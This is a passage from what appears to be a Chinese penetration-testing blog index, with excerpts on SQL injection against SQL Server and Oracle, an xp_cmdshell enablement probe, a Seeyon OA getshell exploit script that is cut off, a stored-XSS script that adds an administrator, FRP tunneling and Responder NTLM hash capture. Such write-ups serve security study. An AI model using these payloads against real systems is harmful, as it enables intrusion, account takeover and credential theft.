记一次网页 js 挂马

0x00 常见网页挂马方式 iframe 框架挂马 简单来说就是加 iframe 标签 script 挂马 通过各种办法加载 js 代码 htm 文件挂马 上传 htm 文件,然后用 script 引入 js 挂马 上传 js 文件,然后用 script 引入 图片伪装挂马 比较新颖的一种挂马隐蔽方法 等等。。。 0x01 发现被插入恶意 js 前几天在做子域名搜集,搜集完后提取 title,结果看到了一个站点的 title 不正常 网站是 tp5 的,应该是前段时候 tp5 出现命令执行时被入侵的 查看网页 html 源码发现 title 和 meta 的 description 都被改了 <title>&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#24179;&#21488;&#44;&#30495;&#38065;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#44;&#25250;&#24196;&#29275;&#29275;&#25163;&#28216;&#19979;&#36733;</title> <meta name="keywords" content="&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#24179;&#21488;&#44;&#30495;&#38065;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#44;&#25250;&#24196;&#29275;&#29275;&#25163;&#28216;&#19979;&#36733;"/> <meta name="description" content="&#25250;&#24196;&#29275;&#29275;&#12304;&#55;&#49;&#49;&#49;&#48;&#46;&#99;&#111;&#109;&#12305;&#29616;&#20844;&#21496;&#25317;&#26377;&#19968;&#25209;&#26377;&#20960;&#21313;&#24180;&#21644;&#22810;&#25250;&#24196;&#29275;&#29275;&#25216;&#24039;&#24180;&#40831;&#36718;&#27979;&#37327;&#20013;&#24515;&#21046;&#36896;&#32463;&#39564;&#30340;&#20154;&#21592;&#44;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#35268;&#21017;&#38598;&#25104;&#20102;&#22269;&#20869;&#39030;&#23574;&#40831;&#36718;&#27979;&#37327;&#25216;&#26415;"/> 解码一下 <title>抢庄牛牛游戏平台,真钱抢庄牛牛游戏,抢庄牛牛手游下载</title> <meta name="keywords" content="抢庄牛牛游戏平台,真钱抢庄牛牛游戏,抢庄牛牛手游下载"/> <meta name="description" content="抢庄牛牛【71110.com】现公司拥有一批有几十年和多抢庄牛牛技巧年齿轮测量中心制造经验的人员,抢庄牛牛游戏规则集成了国内顶尖齿轮测量技术"/> 0x02 简单分析 紧接着有一段 js 代码


FRP 内网穿透

0x00 对外提供简单的文件访问服务 服务端 ➜ frp cat frps.ini [common] ; 监听端口 bind_port = 7000 ; 那些端口允许客户端用来映射 allow_ports = 22-80,3000,33389 ➜ frp ./frps -c frps.ini 2019/07/31 00:22:31 [I] [service.go:139] frps tcp listen on 0.0.0.0:7000 2019/07/31 00:22:31 [I] [root.go:204] Start frps success 客户端 C:\Users\Administrator\Desktop\frp>type frpc.ini [common] server_addr = 66.123.35.123 server_port = 7000 [test_static_file] type = tcp ; 文件服务的端口 remote_port = 3000 ; 启用插件 plugin = static_file ; 要对外暴露的文件目录 plugin_local_path = C:\\Users\Administrator\Desktop\frp_file ; 访问 url 中会被去除的前缀,保留的内容即为要访问的文件路径 plugin_strip_prefix = myfile ; 301 认证 plugin_http_user = admin plugin_http_passwd = 123456 C:\Users\Administrator\Desktop\frp>frpc.


通过 selenium 和 flask 中转后利用 sqlmap 进行注入

0x00 先说前提 昨天某个小伙伴说有个注入没法搞 前端提交登陆表单时数据包加密了, 而且有个 sign 字符串每次都不一样用于校验, 应该是用 js 加密了 0x01 找加密的 js 文件 注入的地方是获取验证码时的手机号, 刚开始想着先找到 js 加密的函数, 然后生成 sign 再组数据包发送。 就像 记一次SQL Server报错注入 中一样, 用 selenium 或者 PhantomJS 执行 js 代码生成sign 一番查找发现了加密的 js 文件函数, 但是用的是 angular 这个前端框架, 没用过这个东西。。。。。 能看懂一般的 js 代码, 但是这个没得搞, 不懂。。。 0x02 数据中转 本来昨天我已经放弃了的, 结果今天上午小伙伴又找我了, 说还没有整好, 又看了一通 js, 仍然无解, 看不懂。。。 想起昨天有个大佬说用 PhantomJS + flask 这样、那样、再这样, 中转数据就可以用 sqlmap 跑了, emmmmm。。。 虽然很早以前用过 asp 的 Cookie 注入中转 , 但是那个是软件, 一直没有搞懂原理, 现在正好趁机学下


致远 OA A8 htmlofficeservlet getshell (POC&EXP)

0x00 影响版本 致远A8-V5协同管理软件 V6.1sp1 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3 致远A8+协同管理软件 V7.1 0x01 查看接口看是否存在漏洞 如果查看 "seeyon/htmlofficeservlet" 接口,出现如下内容则表示存在漏洞 0x02 POC & EXP #!/usr/bin/env python # -*- coding: utf-8 -*- import time import random import string import requests info = { "name": "致远 A8 可 getshell", "author": "reber", "version": "致远A8-V5协同管理软件V6.1sp1、致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3、V7.1", "type": "file_upload", "level": "high", "result": "", "status": False, "references": "<url>", "desc": "<vul describtion>", } def assign(service, arg): if service == 'seeyon': return True, arg def encode(origin_bytes): """ 重构 base64 编码函数 """ # 将每一位bytes转换为二进制字符串 base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6" base64_bytes = ['{:0>8}'.


从 SQL Server 注入到 远程连接桌面

0x00 目标情况 只有一个登录框 0x01 发现注入 简单看了下登陆框,可以爆破用户名 加单引号后报错,试了试 and 1=1 确实存在注入 0x01 进一步测试 尝试得到数据版本: admin' and @@version=1-- 抓包 sqlmap 跑了下发现不行: sqlmap -r 1.txt --risk 3 --level 3 --dbms "Microsoft SQL Server" --second-order "http://123.xxx.xxx.180:2001/error.aspx" 返回: all tested parameters appear to be not injectable,跑不出来,只能手工了 看下能不能多语句执行: admin';select convert(int,(select user));-- 结果发现可以执行成功,能进行多语句执行 0x02 尝试多语句执行添加用户 查看是否有 xp_cmdshell Payload:admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';-- 开启 xp_cmdshell


从 SQL Server 注入到 getshell

0x00 目标情况 一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有弱口令 扫描了全端口,没有发现什么有用的信息 0x01 发现注入 当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用 另一个是密码设置接口,不过这个接口是同网段的另一个ip 111.*.*.59,访问后发现是个重置密码的界面 但是进行密码重置的时候需要发送验证码,系统会先校验用户名是否存在,加单引号出错,and 1=2没反应 burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入 通过sqlmap得到了这几个数据库 [*] HSOA_20170320 [*] HSOA_NEW [*] HSOA_T [*] master [*] model [*] msdb [*] Shuttle [*] SHWT [*] tempdb 0x02 找网站绝对路径 判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>) uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';-- 判断是否是站库分离(延时后返回正确页面,确定站库没有分离) uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';-- 查看是否有xp_cmdshell uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'-- 恢复/删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.


SQL注入tips(Oracle)

0x00 判断数据库类型 Oracle有一些自带的表:dual、user_tables id=45 and (select count(*) from user_tables)>0-- id=45 and (select count(*) from dual)>0-- 利用自带的一些函数:譬如utl_http.request 这些 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49) 0x01 基本信息获取 查看sid select instance_name from v$instance; 查看数据库版本: select banner from v$version where rownum=1; select banner from sys.v_$version where rownum=1; 查看用户: select user from dual; --当前用户 select username from user_users; --当前用户 select username from all_users; --查看所有用户 select username from dba_users; --查看所有用户(需要有权限) 查看当前用户角色:


记一次SQL Server报错注入

0x00 验证码前端验证 需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行 那就抓个包吧 emmmmmm。 32位,md5加密?这里看着没有验证码之类的信息,把这个包发了几次发现没有出现验证码信息,而且试了试,发现有两种状态(运气比较好,有admin这个用户,我也是试的这个用户,一下子就看出返回不同了),如下: 用户不存在时返回 {"iserror":true,"message":"用户名不存在!","data":null,"errorfieldlist":null} 用户名存在时返回 {"iserror":true,"message":"密码不正确!","data":null,"errorfieldlist":null} 可以的,验证码前端验证,我觉得可以burp抓包intruder一下 跑了top 500的用户名和top 1000的密码,除了直接试的用户名admin,其他的一个都没有跑出来 sad 0x01 存在注入 嗯看来爆破是基本没有希望了,测其他的吧,嗯,这里是登陆,那肯定要看注入的,无脑加单引号,boom! 可以的,and 1=1 有注入 哎??!!!那不对啊,咋的后台还解密md5后进行查询?? 刚才看了数据包,用户名密码都是32位,猜想sql语句是:select password from user where username=name_md5_hash,然后判断用户存不存在之类的 看返回信息的话显然不是啊,哪有后台解密md5后查询的。。。。。。 试试post其他用户名和密码,然后看数据包 显然并不是md5。。。。 这个是前端加密后发送的。。。。。看一下js,结果发现了这个 emmmmm,想了想,应该可以注入的,看看啥系统 大概率SQL Server了(因为前几天在t00ls刚看到了一个ASP.NET+MySQL,比较任性),所以这里看一下,发现确实是SQL Server 看看数据库版本,嗯,看来还是报错注入 可以可以,看看有几列,然后进行union注入 一列,这里也能大致猜出来sql语句了,估计就是:select password from user where username='admin' 那就看看数据库吧,不知道SQL Server中的concat怎么用,一个个来吧。。。。 得到第一个数据库的名字:union select name from master.dbo.sysdatabases where dbid=1 得到第二个数据库的名字:union select name from master.dbo.sysdatabases where dbid=2 得到第5个数据库的名字:union select name from master.dbo.sysdatabases where dbid=5 好麻烦啊,拖一下验证码,然后得到一个数据库,而且后面还有表呢。。。。。 py一下了吧,前端有js进行加密,可以本地写文件生成加密后的payload,然后python拿到payload后进行注入


记一次渗透测试中利用存储型XSS添加用户

$(document).ready(function(){ window.location.href='/404.html'; }); ``` ![80](/img/post/20181114-121432.png) 当用户yxk浏览用户申请列表页面时触发XSS ![80](/img/post/20181114-121938.png) 回到reber用户,可以看到已经加入了yxk的组织,可以进行一些操作了 ![80](/img/post/20181114-122147.png) ### 0x05 更进一步,添加为管理员 刚开始分析发现通过上面的过程先添加用户,然后再添加用户为管理员,比较麻烦 后续发现其实不用这么麻烦,直接用另外一个接口发送ajax请求就能直接添加管理员用户 添加管理员的2.js如下: ``` function get_gid(){ $.ajax({ type: 'post', url: '/a/cms/group/treeNode', dataType: 'json', async: false, data: 'parentId=0', success: function(data){ gid = data[0]['dataObject']['topGroupId']; } }); return gid; } var gid = get_gid(); $.post('/a/cms/member/do.save',{memberId: 0,userId: '',mobile: '176004****',name: 'aaa',pinyin: 'aaa',groupId: 608863,group: '默认分组',roleId: 2,duty: '',sex: 0,sort: '10000','TEL;CELL': '','TEL;WORK': '',EMAIL: ''}); ``` 提交验证信息为:```test``` 当yxk访问请求的list页面时即可直接添加新用户aaa到group并且是管理员账户: ![80](/img/post/20181114-123006.png) 好了,打完收工! PS:漏洞已提交,并早在3个月前修复 --


内网渗透之Responder与Net-NTML hash

0x00 一些概念 Windows认证协议 分为:基于NTML的认证和基于kerberos的认证 什么是NTLM Hash? 早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash 什么是Challenge-Response挑战/响应验证机制? Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到 DC DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证 NTLM Hash与Net-NTLM Hash NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash 关于Responder 由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。 什么是NTLM中继攻击? 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。 0x01 软件环境 可以从https://github.com/lgandx/Responder下载Responder 域内主机:Win7(10.11.11.20) 域控主机:Win2008(10.11.11.18) 被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段 0x02 通过SMB服务获取Net-NTLM hash 对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash net.exe use \\host\share attrib.exe \\host\share bcdboot.exe \\host\share bdeunlock.



可以返回顶部